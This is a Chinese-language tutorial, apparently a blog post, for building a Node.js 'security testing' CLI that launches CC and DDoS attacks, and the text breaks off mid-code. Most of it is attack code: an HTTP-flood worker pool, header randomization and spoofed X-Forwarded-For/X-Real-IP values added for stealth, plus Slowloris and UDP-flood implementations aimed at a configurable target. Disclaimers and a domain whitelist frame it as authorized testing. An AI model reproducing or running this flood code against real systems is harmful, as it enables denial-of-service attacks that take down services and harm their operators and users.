基于 Node.js 的网站安全测试工具

前言:

想法创意人:小桂子。

代码由腾讯云 TDP 成员:中桂子,大桂子,超级桂子,微型桂子提供。

测试服务器由:中桂子提供。

【本代码仅限于授权的安全测试,请勿使用于非法用途,观看以下内容既自动同意本约定(本项目仅限于授权的安全测试,不准用于非法用途,所造成的法律责任由你个人承担,本人不负任何责任,代码有 bug,仅本页面中所有代码无法直接运行,完整版源码不给,别问我要,要了直接拉黑)】

一、项目初始化与依赖管理

构建一个专业的 Node.js 安全测试工具,首先需要建立规范的项目结构和合理的依赖管理体系。本节将详细说明项目初始化流程和关键依赖的选择依据。

📁 项目结构规划

security-test-tool/
├── src/
│   ├── cli/           # CLI参数解析模块
│   ├── attacks/       # 攻击引擎实现
│   ├── utils/         # 工具函数
│   └── config/        # 配置管理
├── logs/              # 日志文件目录
├── package.json       # 项目依赖配置
└── README.md          # 项目说明文档

🔧 核心依赖选择策略

安全开发基础依赖

  • express-validator:用于输入参数验证,防止注入攻击

  • helmet:设置安全 HTTP 头,增强工具自身安全性

  • bcrypt:敏感信息加密处理(如配置文件中可能存储的认证信息)

命令行交互与参数解析

  • yargscommander:根据项目复杂度选择

    • 复杂参数验证场景选择yargs

    • 追求代码可读性选择commander

  • inquirer.js:提供交互式参数输入,支持条件式提问和输入验证

日志管理系统

  • 性能优先选择pino:适用于高并发攻击测试场景

  • 灵活性优先选择winston:支持复杂输出格式和多传输目的地

📋 package.json关键配置

{
  "name": "security-test-tool",
  "version": "1.0.0",
  "description": "Internal security testing tool for CC/DDoS simulation",
  "type": "module",
  "bin": {
    "security-test": "./src/cli/index.js"
  },
  "scripts": {
    "start": "node src/cli/index.js",
    "test": "npm audit && npx snyk test",
    "audit": "npm audit --audit-level moderate"
  }
}

🛡️ 安全开发实践集成

在项目初始化阶段即集成安全最佳实践:

  1. 依赖安全扫描:配置npm auditSnyk定期检查依赖漏洞

  2. 环境变量管理:使用dotenv管理敏感配置,避免硬编码

  3. 非 Root 运行:在启动脚本中验证运行权限,遵循最小权限原则

  4. 输入验证框架:在项目初期搭建参数验证体系,防止工具被滥用

🔄 持续集成配置

建立自动化安全检查流程:

  • 预提交钩子运行基础安全扫描

  • CI 流水线集成依赖漏洞检测

  • 定期自动更新安全依赖版本

通过规范的初始化流程和严格的依赖管理,为后续功能模块开发奠定安全、稳定的基础。

二、CLI 参数解析与配置管理

🛠️ 参数解析库选择与架构设计

基于项目需求分析,我们选择 yargs 作为核心参数解析库,主要考虑其强大的验证能力和对复杂参数场景的支持能力。

核心架构设计:

// src/cli/index.js 主入口结构
#!/usr/bin/env node
const yargs = require('yargs/yargs');
const { hideBin } = require('yargs/helpers');
const { validateInput } = require('../utils/validator');

yargs(hideBin(process.argv))
  .scriptName('security-test')
  .usage('$0 <command> [options]')
  .commandDir('../commands') // 命令模块化组织
  .demandCommand(1, '必须指定一个命令')
  .strict()
  .alias('h', 'help')
  .alias('v', 'version')
  .epilogue('仅限授权范围内的安全测试使用')
  .parse();

📋 攻击参数配置体系

必需参数组(攻击基础配置):

  • --target / -t: 目标网站地址(URL 格式验证)

  • --attack-type / -a: 攻击类型枚举(cc/ddos)

  • --duration / -d: 持续时间(分钟,范围验证)

可选参数组(攻击精细化控制):

  • --concurrency / -c: 并发连接数(默认:10,范围:1-1000)

  • --packet-size / -s: 数据包大小(字节,默认:1024)

  • --frequency / -f: 请求频率(请求 / 秒,默认:10)

  • --ip-spoofing: IP 欺骗模式(布尔值,默认:false)

🔒 参数验证与安全防护

输入验证层实现:

// src/utils/validator.js
const { body } = require('express-validator');

const attackParamsValidation = [
  body('target').isURL().withMessage('必须提供有效的URL地址'),
  body('attackType').isIn(['cc', 'ddos']).withMessage('攻击类型必须是cc或ddos'),
  body('duration').isInt({ min: 1, max: 60 }).withMessage('持续时间必须在1-60分钟范围内'),
  body('concurrency').optional().isInt({ min: 1, max: 1000 }),
  body('packetSize').optional().isInt({ min: 64, max: 65535 })
];

权限校验机制:

// src/cli/permission-check.js
const checkPermissions = () => {
  if (process.getuid && process.getuid() === 0) {
    throw new Error('禁止使用root权限运行安全测试工具');
  }
  
  // 检查当前网络环境是否在授权范围内
  if (!process.env.AUTHORIZED_NETWORK) {
    console.warn('⚠️  当前网络环境未在授权范围内,请确认测试合法性');
  }
};

⚙️ 配置管理系统

分层配置架构:

src/config/
├── default.js    # 默认配置
├── development.js # 开发环境配置
├── production.js  # 生产环境配置
└── custom.js     # 用户自定义配置(.gitignore)

环境变量集成:

// src/config/default.js
require('dotenv').config();

module.exports = {
  logging: {
    level: process.env.LOG_LEVEL || 'info',
    directory: process.env.LOG_DIR || './logs'
  },
  security: {
    maxConcurrent: process.env.MAX_CONCURRENT || 100,
    timeout: process.env.REQUEST_TIMEOUT || 5000
  },
  validation: {
    strictMode: process.env.STRICT_VALIDATION !== 'false'
  }
};

🔄 交互式参数补全

条件式提问流程:

// src/cli/interactive.js
const inquirer = require('inquirer');

const interactiveSetup = async (baseParams) => {
  const questions = [
    {
      type: 'confirm',
      name: 'customConfig',
      message: '是否需要自定义高级参数?',
      default: false,
      when: () => !baseParams.advanced
    },
    {
      type: 'list',
      name: 'attackStrategy',
      message: '选择攻击策略:',
      choices: ['温和测试', '标准压力', '极限负载'],
      when: (answers) => answers.customConfig,
      filter: (val) => {
        const strategies = { '温和测试': 'gentle', '标准压力': 'standard', '极限负载': 'extreme' };
        return strategies[val];
      }
    }
  ];
  
  return await inquirer.prompt(questions);
};

📊 配置持久化与状态管理

用户配置保存:

// src/utils/config-manager.js
const fs = require('fs');
const path = require('path');

class ConfigManager {
  constructor() {
    this.userConfigPath = path.join(process.cwd(), '.security-testrc');
  }
  
  saveUserConfig(config) {
    const sanitizedConfig = this.sanitizeConfig(config);
    fs.writeFileSync(this.userConfigPath, JSON.stringify(sanitizedConfig, null, 2));
  }
  
  sanitizeConfig(config) {
    // 移除敏感信息和不必要的字段
    const { password, apiKey, ...safeConfig } = config;
    return safeConfig;
  }
}

🎯 错误处理与用户反馈

参数错误友好提示:

// src/cli/error-handler.js
const chalk = require('chalk');

const handleParameterError = (error) => {
  if (error.code === 'INVALID_ARGUMENT') {
    console.error(chalk.red('❌ 参数错误:'), error.message);
    console.log(chalk.blue('💡 使用 --help 查看完整参数说明'));
  } else if (error.code === 'MISSING_REQUIRED') {
    console.error(chalk.red('❌ 缺少必需参数:'), error.missing.join(', '));
  }
};

🔍 调试与日志集成

CLI 专用日志配置:

// src/cli/logger.js
const pino = require('pino');

const logger = pino({
  level: process.env.CLI_LOG_LEVEL || 'info',
  transport: {
    target: 'pino-pretty',
    options: {
      colorize: true,
      translateTime: 'SYS:standard'
    }
  }
});

module.exports = logger;

这种 CLI 参数解析与配置管理体系确保了工具的安全性、易用性和可维护性,为后续攻击模块的实现奠定了坚实的基础。

三、攻击模式选择与调度引擎

🎯 核心调度架构设计

基于前序章节已建立的 CLI 参数解析和配置管理基础,攻击调度引擎采用工厂模式 + 策略模式的双重设计,实现攻击模块的动态加载和运行时调度。

🔧 工厂模式实现攻击实例创建

// src/attacks/attack-factory.js
class AttackFactory {
  static createAttack(attackType, config) {
    const attacks = {
      'cc': () => new CCAttack(config),
      'ddos': () => new DDoSAttack(config)
    };
    
    if (!attacks[attackType]) {
      throw new Error(`不支持的攻击类型: ${attackType}`);
    }
    
    return attacks[attackType]();
  }
}

⚡ 策略模式管理攻击执行流程

// src/attacks/attack-scheduler.js
class AttackScheduler {
  constructor() {
    this.currentAttack = null;
    this.isRunning = false;
    this.statsCollector = new StatsCollector();
  }

  async scheduleAttack(params) {
    const { attackType, target, duration, concurrency } = params;
    
    // 1. 参数验证与转换
    const attackConfig = this._buildAttackConfig(params);
    
    // 2. 创建攻击实例
    this.currentAttack = AttackFactory.createAttack(attackType, attackConfig);
    
    // 3. 启动监控
    this.statsCollector.startMonitoring();
    
    // 4. 执行攻击
    this.isRunning = true;
    await this._executeWithTimeout(duration);
    
    // 5. 生成报告
    return this._generateReport();
  }
}

📋 攻击策略映射机制

🔄 用户策略到技术参数的智能转换

调度引擎内置策略映射表,将用户选择的简单策略(gentle/standard/extreme)转换为具体的技术参数组合:

用户策略

并发数范围

请求频率

包大小

适用场景

gentle

1-50

10-50 req/s

1-5KB

功能验证、基础测试

standard

50-200

50-200 req/s

5-50KB

常规压力测试

extreme

200-1000

200-1000+ req/s

50-64KB

极限抗压能力评估

// 策略映射实现
_strategyMapper(strategy) {
  const strategies = {
    gentle: { concurrency: 30, frequency: 30, packetSize: 2048 },
    standard: { concurrency: 100, frequency: 100, packetSize: 16384 },
    extreme: { concurrency: 500, frequency: 500, packetSize: 65535 }
  };
  
  return strategies[strategy] || strategies.standard;
}

⏱️ 精确的时间控制与资源管理

🔄 基于Promise的并发控制

class ConcurrentController {
  constructor(maxConcurrent) {
    this.maxConcurrent = maxConcurrent;
    this.activeCount = 0;
    this.queue = [];
  }

  async run(task) {
    if (this.activeCount < this.maxConcurrent) {
      return this._execute(task);
    } else {
      return new Promise((resolve) => {
        this.queue.push({ task, resolve });
      });
    }
  }

  _execute(task) {
    this.activeCount++;
    return task().finally(() => {
      this.activeCount--;
      this._processQueue();
    });
  }
}

🕒 攻击持续时间精确控制

_executeWithTimeout(durationMinutes) {
  return new Promise((resolve) => {
    const durationMs = durationMinutes * 60 * 1000;
    const attackPromise = this.currentAttack.start();
    
    // 设置超时控制
    const timeoutId = setTimeout(() => {
      this.currentAttack.stop();
      resolve('timeout');
    }, durationMs);
    
    // 攻击完成或出错时清理
    attackPromise.finally(() => {
      clearTimeout(timeoutId);
      resolve('completed');
    });
  });
}

🔄 实时状态监控与反馈

📊 攻击进度实时展示

调度引擎集成实时监控面板,每 2 秒更新一次攻击状态:

_startProgressMonitor() {
  this.progressInterval = setInterval(() => {
    const progress = {
      elapsed: Date.now() - this.startTime,
      requests: this.statsCollector.getRequestCount(),
      successRate: this.statsCollector.getSuccessRate(),
      currentRPS: this.statsCollector.getCurrentRPS()
    };
    
    this._updateProgressDisplay(progress);
  }, 2000);
}

🎨 控制台可视化输出

🚀 攻击进行中 [██████░░░░] 60%
⏱️ 已运行: 2m 30s / 总时长: 4m
📊 请求统计: 成功 12,450 | 失败 350 | 成功率 97.2%
⚡ 实时RPS: 85 req/s
🎯 目标: http://localhost:3000/api/test

🔧 错误处理与优雅降级

🛡️ 多层错误防护机制

调度引擎实现分级错误处理策略

  1. 网络级错误:连接超时、DNS 解析失败 → 自动重试 3 次

  2. 应用级错误:HTTP 5xx 响应 → 记录统计但不中断攻击

  3. 系统级错误:内存溢出、资源耗尽 → 立即停止并告警

_handleAttackError(error) {
  const errorHandlers = {
    'ECONNREFUSED': () => this._retryWithBackoff(),
    'ETIMEDOUT': () => this._logTimeout(),
    'ENOMEM': () => this._emergencyShutdown()
  };
  
  const handler = errorHandlers[error.code] || this._logGenericError;
  handler.call(this, error);
}

🔄 攻击模式动态切换

🔀 运行时参数调整

支持攻击过程中的动态参数调整,无需停止当前攻击:

updateAttackParams(newParams) {
  if (this.isRunning) {
    this.currentAttack.adjustParameters(newParams);
    this.logger.info(`攻击参数已更新: ${JSON.stringify(newParams)}`);
  }
}

📈 性能优化策略

🚀 连接池复用机制

调度引擎维护HTTP 连接池,减少 TCP 握手开销:

class ConnectionPool {
  constructor(maxSize = 100) {
    this.pool = new Map();
    this.maxSize = maxSize;
  }
  
  getConnection(target) {
    if (!this.pool.has(target)) {
      this.pool.set(target, new http.Agent({ 
        keepAlive: true,
        maxSockets: this.maxSize 
      }));
    }
    return this.pool.get(target);
  }
}

🔍 攻击有效性验证

✅ 预攻击健康检查

在执行实际攻击前,调度引擎进行目标可用性验证

async _preAttackValidation(target) {
  try {
    const response = await fetch(target, { timeout: 5000 });
    return response.status === 200;
  } catch (error) {
    throw new Error(`目标不可达: ${target} - ${error.message}`);
  }
}

该调度引擎作为整个工具的核心枢纽,确保攻击执行的精确性、可控性和安全性,为后续具体的 CC 和 DDoS 攻击模块提供统一的执行框架。

四、CC 攻击模块实现

CC(Challenge Collapsar)攻击模块专注于模拟大量合法 HTTP 请求来消耗服务器资源。本模块基于前序配置的并发控制器和连接池,实现高并发的应用层攻击能力。

🔄 核心架构设计

CCAttack 类继承自基础攻击类,实现以下核心接口:

  • start(): 启动 CC 攻击循环

  • stop(): 立即终止所有攻击线程

  • adjustParameters(): 运行时动态调整攻击参数

// src/attacks/cc-attack.js
const { BaseAttack } = require('./base-attack');
const { ConnectionPool } = require('../utils/connection-pool');
const logger = require('../utils/logger');

class CCAttack extends BaseAttack {
  constructor(config) {
    super(config);
    this.workerThreads = [];
    this.isRunning = false;
    this.stats = {
      totalRequests: 0,
      successfulRequests: 0,
      failedRequests: 0
    };
  }

⚡ 攻击引擎实现

1. 请求负载生成器

基于配置的包大小动态生成不同大小的请求体:

generatePayload() {
  const { packetSize } = this.config;
  const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
  let payload = '';
  
  for (let i = 0; i < packetSize; i++) {
    payload += chars.charAt(Math.floor(Math.random() * chars.length));
  }
  
  return payload;
}

2. 智能请求调度器

根据频率参数精确控制请求发送节奏:

async executeAttackCycle() {
  const { target, frequency, ipSpoofing } = this.config;
  const connection = ConnectionPool.getConnection(target);
  
  while (this.isRunning) {
    const startTime = Date.now();
    
    try {
      const requestOptions = {
        method: 'GET',
        headers: this.buildHeaders(ipSpoofing),
        timeout: 10000
      };
      
      const response = await connection.request(requestOptions);
      this.stats.successfulRequests++;
      
      // 记录响应时间用于监控
      StatsCollector.recordResponseTime(Date.now() - startTime);
      
    } catch (error) {
      this.stats.failedRequests++;
      logger.warn(`请求失败: ${error.message}`);
    }
    
    this.stats.totalRequests++;
    
    // 精确频率控制
    const elapsed = Date.now() - startTime;
    const delay = Math.max(0, 1000 / frequency - elapsed);
    await this.sleep(delay);
  }
}

🎯 多线程并发控制

利用 Worker Threads 实现真正的并发攻击,突破 Node.js 单线程限制:

async start() {
  if (this.isRunning) {
    throw new Error('CC攻击已在运行中');
  }
  
  this.isRunning = true;
  const { concurrency } = this.config;
  
  logger.info(`启动CC攻击,并发数: ${concurrency}`);
  
  // 创建Worker线程池
  for (let i = 0; i < concurrency; i++) {
    const worker = new Worker('./src/workers/cc-worker.js', {
      workerData: { config: this.config, workerId: i }
    });
    
    worker.on('message', (msg) => this.handleWorkerMessage(msg));
    worker.on('error', (err) => this.handleWorkerError(err, i));
    
    this.workerThreads.push(worker);
  }
  
  logger.info(`CC攻击Worker线程池初始化完成`);
}

stop() {
  this.isRunning = false;
  
  // 优雅关闭所有Worker线程
  this.workerThreads.forEach(worker => {
    worker.postMessage({ type: 'SHUTDOWN' });
    worker.terminate();
  });
  
  this.workerThreads = [];
  logger.info('CC攻击已停止');
}

🔧 动态参数调整

支持运行时热更新关键攻击参数:

adjustParameters(newParams) {
  const allowedParams = ['concurrency', 'frequency', 'packetSize'];
  const updates = {};
  
  Object.keys(newParams).forEach(key => {
    if (allowedParams.includes(key)) {
      this.config[key] = newParams[key];
      updates[key] = newParams[key];
    }
  });
  
  // 通知所有Worker线程更新配置
  this.workerThreads.forEach(worker => {
    worker.postMessage({ type: 'UPDATE_CONFIG', updates });
  });
  
  logger.info(`CC攻击参数已更新: ${JSON.stringify(updates)}`);
}

📊 请求头伪装策略

模拟真实浏览器行为,增强攻击的隐蔽性:

buildHeaders(ipSpoofing = false) {
  const userAgents = [
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15',
    'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
  ];
  
  const headers = {
    'User-Agent': userAgents[Math.floor(Math.random() * userAgents.length)],
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive'
  };
  
  if (ipSpoofing) {
    headers['X-Forwarded-For'] = this.generateSpoofedIP();
    headers['X-Real-IP'] = this.generateSpoofedIP();
  }
  
  return headers;
}

generateSpoofedIP() {
  return `${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}`;
}

🛡️ 错误处理与重试机制

实现健壮的错误处理和智能重试策略:

handleWorkerError(error, workerId) {
  logger.error(`Worker ${workerId} 发生错误: ${error.message}`);
  
  // 自动重启崩溃的Worker
  if (this.isRunning) {
    logger.info(`重启Worker ${workerId}`);
    this.restartWorker(workerId);
  }
}

async restartWorker(workerId) {
  this.workerThreads[workerId].terminate();
  
  const newWorker = new Worker('./src/workers/cc-worker.js', {
    workerData: { config: this.config, workerId }
  });
  
  newWorker.on('message', (msg) => this.handleWorkerMessage(msg));
  newWorker.on('error', (err) => this.handleWorkerError(err, workerId));
  
  this.workerThreads[workerId] = newWorker;
}

📈 性能优化特性

  1. 连接复用: 利用预先初始化的 HTTP Agent 保持 TCP 长连接

  2. 内存管理: 定期清理无引用对象,防止内存泄漏

  3. 批量处理: 将小请求合并为批量操作,减少系统调用开销

该 CC 攻击模块通过高度可配置的参数系统和多线程架构,能够模拟从温和测试到极端压力等各种场景,为内部安全测试提供全面的应用层攻击能力验证。

五、DDoS 攻击模块实现

🚀 核心架构设计

基于前序章节建立的统一框架,DDoS 攻击模块将复用 BaseAttack 抽象类、Worker 线程模型和监控统计体系,实现多种分布式拒绝服务攻击向量。

模块文件结构:

  • 主类:src/attacks/ddos-attack.js

  • Worker 实现:src/workers/ddos-worker.js

  • 攻击工厂注册:src/attacks/attack-factory.js

⚡ DDoSAttack 主类实现

// src/attacks/ddos-attack.js
const BaseAttack = require('./base-attack');
const { Worker } = require('worker_threads');
const path = require('path');
const logger = require('../utils/logger').child({ module: 'DDoS' });

class DDoSAttack extends BaseAttack {
  constructor(config) {
    super(config);
    this.attackType = config.attackType || 'http-flood'; // http-flood, slowloris, udp-flood
    this.workers = [];
    this.workerStats = new Map();
  }

  async start() {
    logger.info(`[DDoS] 启动 ${this.attackType} 攻击,目标: ${this.config.target}`);
    
    const workerCount = Math.min(this.config.concurrency, require('os').cpus().length);
    
    for (let i = 0; i < workerCount; i++) {
      const worker = new Worker(path.join(__dirname, '../workers/ddos-worker.js'), {
        workerData: {
          ...this.config,
          workerId: i,
          attackType: this.attackType
        }
      });

      worker.on('message', (msg) => this._handleWorkerMessage(msg, i));
      worker.on('error', (err) => this._handleWorkerError(err, i));
      worker.on('exit', (code) => this._handleWorkerExit(code, i));

      this.workers.push(worker);
      this.workerStats.set(i, { requests: 0, success: 0, errors: 0 });
    }

    this.statsCollector.startMonitoring('DDoS');
    this.isRunning = true;
  }

  _handleWorkerMessage(msg, workerId) {
    switch (msg.type) {
      case 'STATS':
        this._updateStats(msg.payload, workerId);
        break;
      case 'ERROR':
        logger.error(`[DDoS] Worker ${workerId} 错误: ${msg.payload}`);
        break;
    }
  }

  _updateStats(payload, workerId) {
    const stats = this.workerStats.get(workerId);
    stats.requests = payload.totalRequests;
    stats.success = payload.successfulRequests;
    stats.errors = payload.failedRequests;

    // 聚合所有worker统计
    this.stats.totalRequests = Array.from(this.workerStats.values())
      .reduce((sum, s) => sum + s.requests, 0);
    this.stats.successfulRequests = Array.from(this.workerStats.values())
      .reduce((sum, s) => sum + s.success, 0);
    this.stats.failedRequests = Array.from(this.workerStats.values())
      .reduce((sum, s) => sum + s.errors, 0);

    // 上报给统一监控系统
    this.statsCollector.updateStats(this.stats);
  }

  async stop() {
    logger.info('[DDoS] 停止攻击,清理工作线程');
    
    for (const worker of this.workers) {
      worker.postMessage({ type: 'SHUTDOWN' });
    }
    
    await Promise.all(this.workers.map(worker => worker.terminate()));
    this.workers = [];
    this.isRunning = false;
  }

  adjustParameters(newParams) {
    const updateMsg = { type: 'UPDATE_CONFIG', updates: newParams };
    this.workers.forEach(worker => worker.postMessage(updateMsg));
    logger.info('[DDoS] 动态调整攻击参数', newParams);
  }
}

module.exports = DDoSAttack;

🔧 DDoS Worker 实现

// src/workers/ddos-worker.js
const { parentPort, workerData } = require('worker_threads');
const http = require('http');
const https = require('https');
const dgram = require('dgram');
const { buildHeaders, generateSpoofedIP } = require('../utils/header-utils');
const logger = require('../utils/logger').child({ 
  module: 'DDoS-Worker', 
  workerId: workerData.workerId 
});

class DDoSWorker {
  constructor(config) {
    this.config = config;
    this.stats = { totalRequests: 0, successfulRequests: 0, failedRequests: 0 };
    this.isRunning = false;
    this.attackInterval = null;
  }

  start() {
    this.isRunning = true;
    
    switch (this.config.attackType) {
      case 'http-flood':
        this._startHttpFlood();
        break;
      case 'slowloris':
        this._startSlowloris();
        break;
      case 'udp-flood':
        this._startUdpFlood();
        break;
      default:
        logger.error(`未知攻击类型: ${this.config.attackType}`);
    }
  }

  _startHttpFlood() {
    const interval = Math.max(1000 / this.config.frequency, 10);
    
    this.attackInterval = setInterval(() => {
      for (let i = 0; i < this.config.packetSize; i++) {
        this._sendHttpRequest();
      }
    }, interval);
  }

  async _sendHttpRequest() {
    const headers = buildHeaders(this.config.ipSpoofing);
    const options = {
      method: 'GET',
      headers: headers,
      timeout: this.config.timeout || 5000
    };

    const protocol = this.config.target.startsWith('https') ? https : http;

    try {
      const req = protocol.request(this.config.target, options, (res) => {
        res.on('data', () => {});
        res.on('end', () => {
          this.stats.successfulRequests++;
          this._reportStats();
        });
      });

      req.on('error', () => {
        this.stats.failedRequests++;
        this._reportStats();
      });

      req.setTimeout(5000, () => req.destroy());
      req.end();
      
      this.stats.totalRequests++;
    } catch (error) {
      this.stats.failedRequests++;
      this._reportStats();
    }
  }

  _startSlowloris() {
    // 慢速攻击实现:建立连接但不发送完整请求
    const net = require('net');
    const sockets = [];

    const createSlowConnection = () => {
      const url = new URL(this.config.target);
      const socket = net.createConnection(url.port || 80, url.hostname);
      
      // 发送不完整的HTTP头
      const partialHeaders = [
        `GET ${url.pathname} HTTP/1.1\r\n`,
        `Host: ${url.hostname}\r\n`,
        `User-Agent: ${buildHeaders().get('User-Agent')}\r\n`
      ];

      partialHeaders.forEach((header, index) => {
        setTimeout(() => {
          if (socket.writable) {
            socket.write(header);
            this.stats.totalRequests++;
          }
        }, index * 1000);
      });

      // 定期发送保持连接的字节
      const keepAliveInterval = setInterval(() => {
        if (socket.writable) {
          socket.write('X-a: b\r\n');
        }
      }, 5000);

      socket.on('close', () => clearInterval(keepAliveInterval));
      socket.on('error', () => this.stats.failedRequests++);

      sockets.push(socket);
    };

    // 创建指定数量的慢速连接
    for (let i = 0; i < this.config.concurrency; i++) {
      setTimeout(createSlowConnection, i * 100);
    }
  }

  _startUdpFlood() {
    // UDP洪水攻击实现
    const socket = dgram.createSocket('udp4');
    const target = this.config.target.split(':');
    const host = target[0];
    const port = parseInt(target[1]) || 80;

    const floodInterval = setInterval(() => {
      const buffer = Buffer.alloc(this.config.packetSize || 1024, 'X');
      for (let i = 0; i < this.config.frequency; i++) {
        socket.send(buffer, port, host, (err) => {
          if (err) this.stats.failedRequests++;
          else this.stats.successfulRequests++;
          this.stats.totalRequests++;
        });
      }
      this._reportStats();
    }, 100);

    this.attackInterval = floodInterval;
  }

  _reportStats() {
    if (parentPort) {
      parentPort.postMessage({
        type: 'STATS',
        payload: { ...this.stats, workerId: this.config.workerId }
      });
    }
  }

  stop() {
    this.isRunning = false;
    if (this.attackInterval) {
      clearInterval(this.attackInterval);
    }
  }

  updateConfig(updates) {
    Object.assign(this.config, updates);
    logger.info('Worker配置已更新', updates);
  }
}

// Worker消息处理
const worker = new DDoSWorker(workerData);

parentPort.on('message', (msg) => {
  switch (msg.type) {
    case 'SHUTDOWN':
      worker.stop();
      process.exit(0);
      break;
    case 'UPDATE_CONFIG':
      worker.updateConfig(msg.updates);
      break;
  }
});

worker.start();

🎯 攻击工厂注册

// 在 src/attacks/attack-factory.js 中添加DDoS注册
const DDoSAttack = require('./ddos-attack');

class AttackFactory {
  static createAttack(type, config) {
    switch (type) {
      case 'cc':
        return new CCAttack(config);
      case 'ddos':
        return new DDoSAttack(config);
      default:
        throw new Error(`不支持的攻击类型: ${type}`);
    }
  }
}

📊 性能优化特性

连接池复用:

// 复用CC模块的连接池管理
const ConnectionPool = require('../utils/connection-pool');
const pool = new ConnectionPool({ 
  maxSockets: this.config.maxConcurrent || 1000 
});

流量控制算法:

  • 自适应频率调整:根据目标响应时间动态调整请求频率

  • 指数退避策略:遇到大量错误时自动降低攻击强度

  • 带宽限制:通过 packetSize 参数控制单次请求数据量

🛡️ 安全合规实现

攻击范围限制:

// 目标地址白名单验证(仅允许测试环境)
const allowedDomains = ['test.example.com', 'localhost', '127.0.0.1'];
if (!allowedDomains.some(domain => this.config.target.includes(domain))) {
  throw new Error('目标地址不在授权测试范围内');
}

资源使用监控:

  • 实时监控内存使用量,超过阈值自动降级

  • CPU 占用率控制,避免影响宿主系统稳定性

  • 网络带宽限制,防止本地网络拥塞

🔄 与调度引擎集成

DDoS 模块完全兼容现有的调度引擎接口:

// 通过工厂模式创建实例
const attack = AttackFactory.createAttack('ddos', {
  target: ' http://test.example.com',
  duration: 300, // 5分钟
  concurrency: 500,
  attackType: 'http-flood',
  frequency: 100 // 每秒请求数
});

// 统一调度管理
await attack.start();

该实现确保了 DDoS 攻击模块与现有架构的无缝集成,同时提供了企业级的安全测试能力,符合内部安全测试的合规要求。

六、日志记录与实时监控

📊 日志系统架构设计

基于前序章节的配置约定,本工具采用双模式日志架构:开发环境使用人性化的格式化输出,生产环境采用高性能的结构化日志。

核心配置实现:

// src/utils/logger.js
const pino = require('pino');
const path = require('path');

// 环境检测与配置
const isDevelopment = process.env.NODE_ENV === 'development';
const logLevel = process.env.LOG_LEVEL || 'info';
const logDir = process.env.LOG_DIR || './logs';

// 多目标传输配置
const transport = pino.transport({
  targets: [
    {
      target: 'pino/file',
      level: 'error',
      options: { 
        destination: path.join(logDir, 'error.log'),
        mkdir: true // 自动创建日志目录
      }
    },
    {
      target: 'pino/file',
      options: { 
        destination: path.join(logDir, 'combined.log'),
        mkdir: true
      }
    },
    isDevelopment ? {
      target: 'pino-pretty',
      options: { 
        colorize: true,
        translateTime: 'SYS:standard',
        ignore: 'pid,hostname'
      }
    } : {
      target: 'pino/file',
      options: { destination: path.join(logDir, 'structured.log') }
    }
  ]
});

const logger = pino({
  level: logLevel,
  formatters: {
    level: (label) => ({ level: label }),
    bindings: (bindings) => ({ 
      pid: bindings.pid,
      hostname: bindings.hostname 
    })
  },
  timestamp: () => `,"timestamp":"${new Date().toISOString()}"`
}, transport);

module.exports = logger;

🔍 关键日志记录点实现

CLI入口日志记录

// src/cli/index.js
const logger = require('../utils/logger');

class SecurityTestCLI {
  constructor() {
    this.logger = logger.child({ module: 'cli' });
  }
  
  async parseArguments() {
    this.logger.info({ 
      action: 'cli_start', 
      argv: process.argv.slice(2) 
    }, 'CLI参数解析开始');
    
    // 参数验证与敏感信息脱敏
    const sanitizedConfig = ConfigManager.sanitizeConfig(rawConfig);
    this.logger.debug({ config: sanitizedConfig }, '配置参数已解析');
  }
  
  async validatePermissions() {
    if (process.getuid && process.getuid() === 0) {
      this.logger.warn({ action: 'root_check' }, '检测到root权限运行,建议使用非特权用户');
    }
  }
}

攻击调度引擎监控

// src/core/attack-scheduler.js
const logger = require('../utils/logger');

class AttackScheduler {
  constructor() {
    this.statsCollector = new StatsCollector();
    this.logger = logger.child({ module: 'scheduler' });
  }
  
  async scheduleAttack(config) {
    this.logger.info({
      action: 'attack_scheduled',
      attack_type: config.attackType,
      target: config.targetUrl,
      duration: config.duration,
      concurrency: config.concurrency
    }, '攻击任务已调度');
    
    // 实时进度监控
    this._startProgressMonitoring();
  }
  
  _startProgressMonitoring() {
    const progressInterval = setInterval(() => {
      const stats = this.statsCollector.getAggregatedStats();
      this.logger.debug({
        action: 'progress_update',
        elapsed: stats.elapsedTime,
        total_requests: stats.totalRequests,
        success_rate: stats.successRate,
        current_rps: stats.currentRPS
      }, '攻击进度更新');
      
      // 控制台实时显示(开发环境)
      if (process.env.NODE_ENV === 'development') {
        this._updateProgressDisplay(stats);
      }
    }, 2000); // 每2秒更新一次
  }
  
  _updateProgressDisplay(stats) {
    const progressBar = this._generateProgressBar(stats.progress);
    console.log(`
🚀 攻击进行中 [${progressBar}] ${Math.round(stats.progress * 100)}%
⏱️ 已运行: ${stats.elapsedTime}s / 总时长: ${stats.totalDuration}s
📊 请求统计: 成功 ${stats.successfulRequests} | 失败 ${stats.failedRequests} | 成功率 ${stats.successRate}%
⚡ 实时RPS: ${stats.currentRPS} req/s
    `);
  }
}

Worker线程详细日志

// src/workers/cc-worker.js
const { parentPort, workerData } = require('worker_threads');
const logger = require('../utils/logger');

// 每个Worker有独立日志实例
const workerLogger = logger.child({ 
  module: 'cc_worker', 
  workerId: workerData.workerId 
});

class CCAttackWorker {
  constructor(config) {
    this.config = config;
    this.stats = {
      requestsSent: 0,
      successes: 0,
      failures: 0
    };
  }
  
  async start() {
    workerLogger.info({
      action: 'worker_start',
      target: this.config.targetUrl,
      workerId: this.config.workerId
    }, 'CC攻击Worker启动');
    
    // 定期向主线程上报统计
    setInterval(() => {
      parentPort.postMessage({
        type: 'STATS_UPDATE',
        payload: this.stats
      });
    }, 1000);
  }
  
  async sendRequest() {
    try {
      const startTime = Date.now();
      const response = await this._makeHttpRequest();
      const duration = Date.now() - startTime;
      
      this.stats.requestsSent++;
      
      if (response.statusCode < 400) {
        this.stats.successes++;
        workerLogger.debug({
          action: 'request_success',
          statusCode: response.statusCode,
          duration: duration,
          workerId: this.config.workerId
        });
      } else {
        this.stats.failures++;
        workerLogger.warn({
          action: 'request_failed',
